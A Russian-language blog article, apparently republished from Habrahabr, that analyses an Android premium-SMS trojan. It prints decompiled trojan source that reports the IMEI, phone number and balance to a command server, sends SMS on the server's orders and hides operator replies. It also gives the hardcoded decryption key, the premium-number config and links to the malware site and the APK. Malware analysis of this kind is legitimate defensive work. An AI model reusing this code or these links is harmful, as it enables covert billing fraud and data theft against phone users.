- PVSM.RU - https://www.pvsm.ru -

История реверс-инжиниринга одного SMS трояна для Android

image
Все началось с жалоб одного моего доброго друга, по совместительству владельца устройства на Android. Он жаловался, что оператор постоянно снимает с него деньги неизвестно за что. После звонков оператору выяснилось, что средства снимали за премиум SMS, которые мой друг якобы отправлял. Я сам неоднократно нарывался в Интернетах на подозрительные сайты, которые предлагают скачать apk с игрой/программой/Live Wallpaper, при установке которого выясняется, что это всего лишь программа, которая отправляет SMS на премиум номера. Но в этом случае если нажал кнопку, то «сам дурак», потому что правила в таких программках явно говорят, что последует отправка SMS на платные номера, да и ссылки они в итоге предоставляют на реальные программы.

Так или иначе, ко мне закралось подозрение, что здесь ситуация тоже завязана на таком роде деятельности, и я взялся разобраться, куда же все-таки утекают денежки.

Безопасная установка приложения

Начнем с того, что мой друг запамятовал, откуда он скачивал последние программы из сети на свой девайс, из него удалось вытрясти только следующую ссылку mobisity.ru [1] (Осторожно, сайт распространяет вредоносное ПО!). Покопавшись на сайте, я вытащил оттуда APK [2].
Теперь, когда предыстория известна читателю, можно перейти к самому интересному — анализу приложения. Начнем с безопасной установки приложения, а именно, установим его на эмулятор и посмотрим как оно действует.

Запускаем штатный эмулятор Android, желательно версии 2.2 или выше (на более старые версии приложение не устанавливается), для этого запускаем эмулятор через AVD (Android Virtual Device Manager) и выполняем команду

adb install mp3.apk

В списке приложений появляется наблюдаем нашего трояна, под именем Music и с соответствующей иконкой.

История реверс инжиниринга одного SMS трояна для Android

Запускаем и наблюдаем процесс какой-то «установки», после которой нам предлагается нажать кнопку «далее»

История реверс инжиниринга одного SMS трояна для Android

Если нажать кнопку хардварную кнопку Menu, то можно будет открыть правила и прочесть, что после нажатия кнопки пойдет отправка SMS на платные номера. Ну и ладно, значит, пока что это из разряда «сам дурак». Так куда же постоянно утекают средства? Пока не понятно, исследуем дальше.

Анализ кода

Для анализа я использовал следующие инструменты: jd-gui [3], dex2jar [4] и apktool [5].

Первым делом разберем APK при помощи apktool и посмотрим на структуру проекта. Для этого необходимо выполнить команду

apktool d mp3.apk

Анализ внутренней структуры проекта ничего интересного не дает, за исключением того, что в папке assets лежит непонятный файл data.xml, видимо он хранит какие-то данные, но зашифрован, так как, на первый взгляд, данные не поддаются простому анализу.

Ну что же, остается только смотреть код, для этого используем dex2jar. Вытаскиваем при помощи своего любимого архиватора файл из APK с названием classes.dex, и при помощи dex2jar преобразовываем его в jar файл. Полученный jar нужно открыть в программе jd-gui. Всё, теперь у нас есть весь (ну или почти весь) код приложения:

История реверс инжиниринга одного SMS трояна для Android

Прежде чем сломя голову бросаться анализировать код, я решил посмотреть файл AndroidManifest.xml, как правило из него можно вытащить много полезной информации о приложении.

Полный листинг файла AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="net.droid.installer"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.READ_LOGS" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <application android:label="@string/app_name" android:icon="@drawable/icon">
        <activity android:theme="@android:style/Theme.NoTitleBar" android:label="@string/app_name" android:name=".InstallActivity" android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation">
            <intent-filter>
                <action android:name="android.intent.action.CREATE_SHORTCUT" />
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".RuleActivity" android:screenOrientation="portrait" />
        <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".LoaderActivity" android:screenOrientation="portrait" />
        <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".StartActivity" />
        <receiver android:name=".StartupReceiver" android:enabled="true" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
            </intent-filter>
        </receiver>
        <service android:name=".UpdateService" android:enabled="true" />
        <receiver android:name=".UpdateReceiver" />
        <receiver android:name=".MessageReceiver">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
        <receiver android:name=".Scanner">
            <intent-filter>
                <action android:name="android.intent.action.PACKAGE_ADDED" />
                <action android:name="android.intent.action.PACKAGE_REPLACED" />
                <action android:name="android.intent.action.PACKAGE_REPLACED" />
                <data android:scheme="package" />
            </intent-filter>
        </receiver>
        <service android:name=".USSDDumbExtendedNetworkService">
            <intent-filter>
                <action android:name="com.android.ussd.IExtendedNetworkService" />
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </service>
    </application>
</manifest>

Просмотрев файл, я заинтересовался BroadcastReceiver'ом с именем StartupReceiver — очевидно, что он запускает какой-то код при загрузке системы, на это указывают заявленные intent-filters.

Код StartupReceiver

package net.droid.installer;

import a;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.RemoteException;
import android.preference.PreferenceManager;
import android.telephony.TelephonyManager;

public class StartupReceiver extends BroadcastReceiver
{
  private static ServiceConnection d = null;
  boolean a = false;
  Context b;
  private a c = null;

  public void onReceive(Context paramContext, Intent paramIntent)
  {
    this.b = paramContext;
    Object localObject = ((TelephonyManager)paramContext.getSystemService("phone")).getSimOperatorName();
    PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putBoolean("wasreload", true).commit();
    try
    {
      if ((((TelephonyManager)this.b.getSystemService("phone")).getSimOperator().toString().equals("25099")) || (((String)localObject).toLowerCase().contains("tele")) || (((String)localObject).toLowerCase().contains("����")))
        d = new j(this);
    }
    catch (Exception localException1)
    {
      try
      {
        paramContext.bindService(new Intent("com.android.ussd.IExtendedNetworkService"), d, 1);
        label120: localObject = this.c;
        if (localObject != null);
        try
        {
          this.c.a(":ON;)");
          while (true)
          {
            label141: paramContext.startService(new Intent(paramContext, UpdateService.class));
            return;
            localException1;
          }
        }
        catch (RemoteException localRemoteException)
        {
          break label141;
        }
      }
      catch (Exception localException2)
      {
        break label120;
      }
    }
  }
}

По всей видимости, в случае необходимости, здесь производится биндинг с системным сервисом, который обеспечивает работу USSD запросов. Логично было бы предположить, что троян таким образом отслеживает баланс пользователя.
Кроме этого, в коде видно, что запускается сервис UpdateService.

Код UpdateService

package net.droid.installer;

import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.IBinder;
import android.preference.PreferenceManager;

public class UpdateService extends Service
{
  static Context a;
  static String b = "http://mxclick.com/";
  static int c = 60;
  static SharedPreferences d;
  static String e = b;
  static boolean f = false;

  public static void a()
  {
    SharedPreferences.Editor localEditor = d.edit();
    localEditor.putBoolean("appblocked", true);
    localEditor.commit();
  }

  public static void a(String paramString)
  {
    SharedPreferences.Editor localEditor = d.edit();
    localEditor.putString(a.getString(2130968584), paramString);
    localEditor.commit();
  }

  public IBinder onBind(Intent paramIntent)
  {
    return null;
  }

  public void onCreate()
  {
  }

  public void onDestroy()
  {
    super.onDestroy();
  }

  public void onStart(Intent paramIntent, int paramInt)
  {
    super.onStart(paramIntent, paramInt);
    a = this;
    Object localObject = PreferenceManager.getDefaultSharedPreferences(this);
    d = (SharedPreferences)localObject;
    e = ((SharedPreferences)localObject).getString(getString(2130968584), b);
    localObject = (AlarmManager)getSystemService("alarm");
    PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(this, UpdateReceiver.class), 0);
    ((AlarmManager)localObject).setRepeating(0, System.currentTimeMillis(), 60000 * c, localPendingIntent);
  }

  public boolean onUnbind(Intent paramIntent)
  {
    return super.onUnbind(paramIntent);
  }
}

Очевидно, что данный сервис при старте устанавливает при помощи планировщика AlarmManager запуск Intent, который является сигналом к запуску BroadcastReceiver'a с именем UpdateReceiver, а если точнее, то его метода — onReceive.

Код UpdateReceiver

package net.droid.installer;

import a;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.net.Uri;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
import android.preference.PreferenceManager;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import java.util.ArrayList;

public class UpdateReceiver extends BroadcastReceiver
{
  static boolean i = false;
  private static ServiceConnection l = null;
  Context a;
  SharedPreferences b;
  boolean c = false;
  String d = "";
  String e = "";
  String f = "";
  String g = "";
  String h = "";
  ArrayList j = new ArrayList();
  private final a k = null;

  private String a()
  {
    return ((TelephonyManager)this.a.getSystemService("phone")).getSimOperator().toString();
  }

  private void a(String paramString1, String paramString2)
  {
    PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_SENT"), 0);
    PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_DELIVERED"), 0);
    SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, localPendingIntent1, localPendingIntent2);
  }

  public void onReceive(Context paramContext, Intent paramIntent)
  {
    this.a = paramContext;
    this.b = PreferenceManager.getDefaultSharedPreferences(this.a);
    PowerManager.WakeLock localWakeLock = ((PowerManager)paramContext.getSystemService("power")).newWakeLock(26, "ALARMSERVICE");
    localWakeLock.acquire();
    Object localObject = ((TelephonyManager)this.a.getSystemService("phone")).getSimOperatorName();
    try
    {
      if (a().equals("25001"))
        a("111", "11");
      while (true)
      {
        if (!PreferenceManager.getDefaultSharedPreferences(paramContext).getBoolean("appblocked", false))
        {
          localObject = PreferenceManager.getDefaultSharedPreferences(this.a);
          SharedPreferences.Editor localEditor = ((SharedPreferences)localObject).edit();
          if (((SharedPreferences)localObject).getBoolean("new", true))
          {
            localEditor.putBoolean("new", false);
            localEditor.putLong("time", 1200000L + System.currentTimeMillis());
            localEditor.commit();
          }
          if (System.currentTimeMillis() > ((SharedPreferences)localObject).getLong("time", 0L))
            new m(this).execute(new String[0]);
        }
        label191: localWakeLock.release();
        return;
        if (a().equals("25002"))
        {
          a("000100", "b");
          continue;
        }
        if ((a().equals("25099")) && (PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false)))
        {
          localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*102" + Uri.encode("#")));
          ((Intent)localObject).addFlags(268435456);
          paramContext.startActivity((Intent)localObject);
          continue;
        }
        if (((!((String)localObject).toLowerCase().contains("tele")) && (!((String)localObject).toLowerCase().contains("����"))) || (!PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false)))
          continue;
        localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*105" + Uri.encode("#")));
        ((Intent)localObject).addFlags(268435456);
        paramContext.startActivity((Intent)localObject);
      }
    }
    catch (Exception localException)
    {
      break label191;
    }
  }
}

Здесь мы видим, что троян проверяет текущий баланс пользователя, прежде чем отправлять SMS. И кроме этого, он запускает AsyncTask с именем m, который отправляет запрос к скрипту mxclick.com/getTask.php [6]. Скрипт по всей видимости отдает нужный номер, на который будет осуществлена отправка тех или иных SMS. Ну и в итоге UpdateReceiver выполняет отправку SMS, тем самым осушая баланс бедного пользователя.

Код наследника AsyncTask - класса m

package net.droid.installer;

import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Build.VERSION;
import android.preference.PreferenceManager;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.Contacts;
import android.telephony.TelephonyManager;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONObject;

final class m extends AsyncTask
{
  m(UpdateReceiver paramUpdateReceiver)
  {
  }

  private String a()
  {
    String str1;
    try
    {
      Object localObject7 = (TelephonyManager)this.a.a.getSystemService("phone");
      Object localObject2 = ((TelephonyManager)localObject7).getDeviceId();
      Object localObject4 = ((TelephonyManager)localObject7).getSimCountryIso();
      Object localObject1 = new DefaultHttpClient();
      Object localObject5 = ((TelephonyManager)localObject7).getLine1Number();
      Object localObject3 = ((TelephonyManager)localObject7).getNetworkOperatorName();
      String str3 = ((TelephonyManager)localObject7).getNetworkOperator();
      String str2 = Integer.toString(Build.VERSION.SDK_INT);
      localObject7 = Build.MODEL;
      localObject2 = new URL(UpdateService.e + "getTask.php?imei=" + (String)localObject2 + "&balance=" + PreferenceManager.getDefaultSharedPreferences(this.a.a).getString("balance", "0") + "&country=" + (String)localObject4 + "&phone=" + (String)localObject5 + "&op=" + (String)localObject3 + "&mnc=" + str3.substring(3) + "&mcc=" + str3.substring(0, 3) + "&model=" + (String)localObject7 + "&os=" + str2);
      localObject2 = new URI(((URL)localObject2).getProtocol(), ((URL)localObject2).getUserInfo(), ((URL)localObject2).getHost(), ((URL)localObject2).getPort(), ((URL)localObject2).getPath(), ((URL)localObject2).getQuery(), ((URL)localObject2).getRef()).toURL();
      ((URL)localObject2).toString();
      localObject1 = ((HttpClient)localObject1).execute(new HttpGet(((URL)localObject2).toString())).getEntity().getContent();
      localObject4 = new BufferedReader(new InputStreamReader((InputStream)localObject1, "utf-8"), 8);
      localObject2 = new StringBuilder();
      while (true)
      {
        localObject3 = ((BufferedReader)localObject4).readLine();
        if (localObject3 == null)
          break;
        ((StringBuilder)localObject2).append((String)localObject3);
      }
      ((StringBuilder)localObject2).toString();
      ((InputStream)localObject1).close();
      ((BufferedReader)localObject4).close();
      while (true)
      {
        try
        {
          localObject2 = new JSONArray(((StringBuilder)localObject2).toString());
          int i = 0;
          if (i >= ((JSONArray)localObject2).length())
            break;
          localObject3 = ((JSONArray)localObject2).getJSONObject(i);
          localObject4 = ((JSONObject)localObject3).getString("type");
          if (!((String)localObject4).equals("1"))
            continue;
          UpdateService.f = true;
          UpdateReceiver.a(this.a, ((JSONObject)localObject3).getString("to_number"), ((JSONObject)localObject3).getString("message"));
          localObject5 = new n(this.a);
          localObject7 = new String[1];
          localObject7[0] = "1";
          ((n)localObject5).execute(localObject7);
          if (!((String)localObject4).equals("2"))
            break label742;
          localObject5 = this.a.a.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
          if (!((Cursor)localObject5).moveToNext())
            break label650;
          localObject7 = ((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("_id"));
          if (((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("has_phone_number")).equalsIgnoreCase("1"))
          {
            str2 = "true";
            if (!Boolean.parseBoolean(str2))
              continue;
            localObject7 = this.a.a.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + (String)localObject7, null, null);
            if (!((Cursor)localObject7).moveToNext())
              break label640;
            this.a.j.add(((Cursor)localObject7).getString(((Cursor)localObject7).getColumnIndex("data1")));
            continue;
          }
        }
        catch (Exception localException1)
        {
          str1 = "-100";
        }
        str2 = "false";
        continue;
        label640: ((Cursor)localObject7).close();
        continue;
        label650: ((Cursor)localObject5).close();
        for (int j = 0; j < this.a.j.size(); j++)
          UpdateReceiver.a(this.a, (String)this.a.j.get(j), ((JSONObject)localObject3).getString("message"));
        localObject7 = new n(this.a);
        Object localObject6 = new String[1];
        localObject6[0] = "2";
        ((n)localObject7).execute(localObject6);
        label742: if (((String)localObject4).equals("3"))
        {
          localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("open_url")));
          ((Intent)localObject6).addFlags(268435456);
          this.a.a.startActivity((Intent)localObject6);
          localObject7 = new n(this.a);
          localObject6 = new String[1];
          localObject6[0] = "3";
          ((n)localObject7).execute(localObject6);
        }
        if (((String)localObject4).equals("4"))
        {
          UpdateService.a(((JSONObject)localObject3).getString("server_url"));
          localObject7 = new n(this.a);
          localObject6 = new String[1];
          localObject6[0] = "4";
          ((n)localObject7).execute(localObject6);
        }
        if (((String)localObject4).equals("5"))
        {
          localObject4 = new Notification(2130837504, ((JSONObject)localObject3).getString("title"), System.currentTimeMillis());
          localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("urlop")));
          localObject6 = PendingIntent.getActivity(this.a.a, 0, (Intent)localObject6, 0);
          localObject7 = (NotificationManager)this.a.a.getSystemService("notification");
          ((Notification)localObject4).setLatestEventInfo(this.a.a, ((JSONObject)localObject3).getString("title"), ((JSONObject)localObject3).getString("message"), (PendingIntent)localObject6);
          ((Notification)localObject4).defaults = (0x1 | ((Notification)localObject4).defaults);
          ((Notification)localObject4).flags = (0x10 | ((Notification)localObject4).flags);
          ((NotificationManager)localObject7).notify(0, (Notification)localObject4);
        }
        str1++;
      }
    }
    catch (Exception localException2)
    {
      str1 = null;
    }
    return (String)(String)(String)(String)(String)(String)(String)str1;
  }
}

Ну вот, собственно говоря и всё — дальше код можно не разбирать, мы увидели, что опустошение баланса пользователя достигается именно отправкой SMS на премиум номера. Однако, я наткнулся еще на пару интересных моментов, когда просматривал код трояна. Например, входящие SMS с номера 111, который является сервисным номером МТС, блокируются — таким образом, юзер вообще ничего не слышит и не видит, когда его баланс постепенно уходит в минус.
Этим занимается класс MessageReceiver, вот его определение в AndroidManifest.xml

        <receiver android:name=".MessageReceiver">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>

Видно, что ему установлен высокий приоритет, таким образом ему удается первым обработать входящие сообщения на девайс. Ну и внутри метода onReceive, мы видим, что если SMS идет с номера 111, то intent перехватывается, то есть broadcast сообщение обрывается на этом обработчике и не идет дальше к остальным приложениям.

Код MessageReceiver

package net.droid.installer;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.telephony.SmsMessage;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class MessageReceiver extends BroadcastReceiver
{
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    Object localObject = paramIntent.getExtras();
    if (localObject != null)
    {
      localObject = (Object[])((Bundle)localObject).get("pdus");
      SmsMessage[] arrayOfSmsMessage = new SmsMessage[localObject.length];
      int i = 0;
      try
      {
        while (i < arrayOfSmsMessage.length)
        {
          arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])localObject[i]);
          if ((arrayOfSmsMessage[i].getOriginatingAddress().contains("111")) || (arrayOfSmsMessage[i].getOriginatingAddress().contains("000100")))
          {
            Matcher localMatcher = Pattern.compile("-?\d+").matcher(arrayOfSmsMessage[i].getDisplayMessageBody());
            if (localMatcher.find())
            {
              PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", localMatcher.group()).commit();
              if (arrayOfSmsMessage[i].getDisplayMessageBody().contains("�����"))
                PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", "-" + localMatcher.group()).commit();
              abortBroadcast();
            }
          }
          if (UpdateService.f)
          {
            abortBroadcast();
            UpdateService.f = false;
          }
          i++;
        }
      }
      catch (Exception localException)
      {
      }
    }
  }
}

Еще один интересный момент, который на самом деле позволяет сообществу заставить мошенников ответить за свои поступки — зашифрованная база, о которой я упоминал в начале поста. Во время просмотра кода было выяснено, что файл с номерами был зашифрован алгоритмом Blowfish в режиме ECB. Это симметричный алгоритм шифрования, с хорошим ключом на его взлом могли бы уйти годы, но… Разработчики трояна особо не парились:

public final String b(String paramString)
  {
    try
    {
      Object localObject2 = this.a.getAssets().open(paramString);
      Object localObject1 = new byte[((InputStream)localObject2).available()];
      ((InputStream)localObject2).read(localObject1);
      ((InputStream)localObject2).close();
      localObject2 = new SecretKeySpec("3gYX0W0GiIdT0E9y".getBytes(), a.a);
      Cipher localCipher = Cipher.getInstance("t/c/g".replace("t", a.a).replace("c", a.b).replace("g", a.c));
      localCipher.init(2, (Key)localObject2);
      localObject1 = new String(localCipher.doFinal(localObject1));
      return localObject1;
    }
    catch (Exception str)
    {
      while (true)
      {
        localException.printStackTrace();
        String str = "err";
      }
    }
  }
}

С известным ключом мне стоило только набросать пару строк на Яве, и файл был расшифрован:

Короткие номера, префиксы биллингов и другие настройки трояна

<oper>
	<number>
		<numr>8503,7202,7201,7201,7201</numr>
		<pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref>
		<mccmnc>25001</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7204</numr>
		<pref>1429015599 041 122 6030</pref>
		<mccmnc>25002</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>8503,7202,7201,7201,7201</numr>
		<pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref>
		<mccmnc>25099</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7202,7201,7201</numr>
		<pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref>
		<mccmnc>250</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7204,7204,7212</numr>
		<pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref>
		<mccmnc>25503</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>3303,3303,3303</numr>
		<pref>427242015599 041 122 6030,427242015599 041 122 6030,427242015599 041 122 6030</pref>
		<mccmnc>400</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7204,7204,7212</numr>
		<pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref>
		<mccmnc>25501</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7204,7204,7212</numr>
		<pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref>
		<mccmnc>25505</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>3336</numr>
		<pref>427242015599 041 122 6030</pref>
		<mccmnc>257</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
</oper>

Еще один момент — все USSD запросы проходят в фоновом режиме, то есть троян может сколько угодно проверять баланс пользователя, тот ничего не заподозрит. По всей видимости реализация фонового выполнения USSD запросов была скопирована разработчиками трояна с сайта commandus [7]. В качестве домашнего задания читателям предлагается понять, почему была скопирована именно реализация с этого сайта и найти подтверждение тому в коде.

Заключение

Хотелось бы сказать, что разработка таких приложений является прямым нарушением закона РФ, а именно статей 159 и 273 УК РФ. Теперь у мошенников уже отмазаться не получится, так как средства с баланса снимаются не после нажатия абстрактной кнопки, где пользователь принимает на себя всю ответственность за последствия. Здесь баланс может опустошаться годами и пользователь может вообще ничего не заподозрить.

Мошенники, а таковыми по определению являются и контент-провайдеры номеров (потому что оказывают прямое содействие в получении прибыли незаконным или мошенническим путем) 8503, 7202, 7201, 7204, 7212, 3303, 3336 должны быть уголовно наказаны. Кстати, конкретных провайдеров для этих номеров можно посмотреть, например, на сайте Мегафона [8] или Билайна [9]. Дабы не быть голословным, привожу конкретные названия замешанных контент провайдеров, которым принадлежат данные номера: ИнкорМедиа ООО [10], СМС сервисы, ООО (Шутка дня) [11], ООО Инвест Телеком [12] и так далее.

Кроме этого, скорее всего какие-то данные о конкретных виновниках можно выцепить из URL, на который уходят запросы из трояна, а именно: mxclick.com/getTask.php [6]. А вообще, заинтересованные читатели могут по возможности сами попробовать найти другие следы мошенников.

Лично я надеюсь, что глубокоуважаемые операторы Мегафон, Билайн, МТС, Теле2 и остальные примут серьезные меры по поводу контент-провайдеров, потому что они не проследили за использованием их номеров, и кто-то наконец докопается до настоящих виновников, которые разрабатывают и распространяют эти трояны и заставит их ответить по всей строгости закона.

Автор: reverseengineer

Источник [13]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/android/21899

Ссылки в тексте:

[1] mobisity.ru: http://mobisity.ru/ibii/ibii-lcya-igsci/501860-drugvokrug-11.html

[2] APK: http://files.mail.ru/90N6TZ

[3] jd-gui: http://java.decompiler.free.fr/?q=jdgui

[4] dex2jar: http://code.google.com/p/dex2jar/

[5] apktool: http://code.google.com/p/android-apktool/

[6] mxclick.com/getTask.php: http://mxclick.com/getTask.php

[7] commandus: http://commandus.com/blog/?p=58

[8] сайте Мегафона: http://szf.megafon.ru/services/content/uslugi_operatora_s_kontent-prova/

[9] Билайна: http://safe.beeline.ru/smc/rec/cpa.wbp?num=3336

[10] ИнкорМедиа ООО: http://www.incoremedia.ru/

[11] СМС сервисы, ООО (Шутка дня): http://www.i-free.ru/

[12] ООО Инвест Телеком: http://investtelecom.ru

[13] Источник: http://habrahabr.ru/post/161459/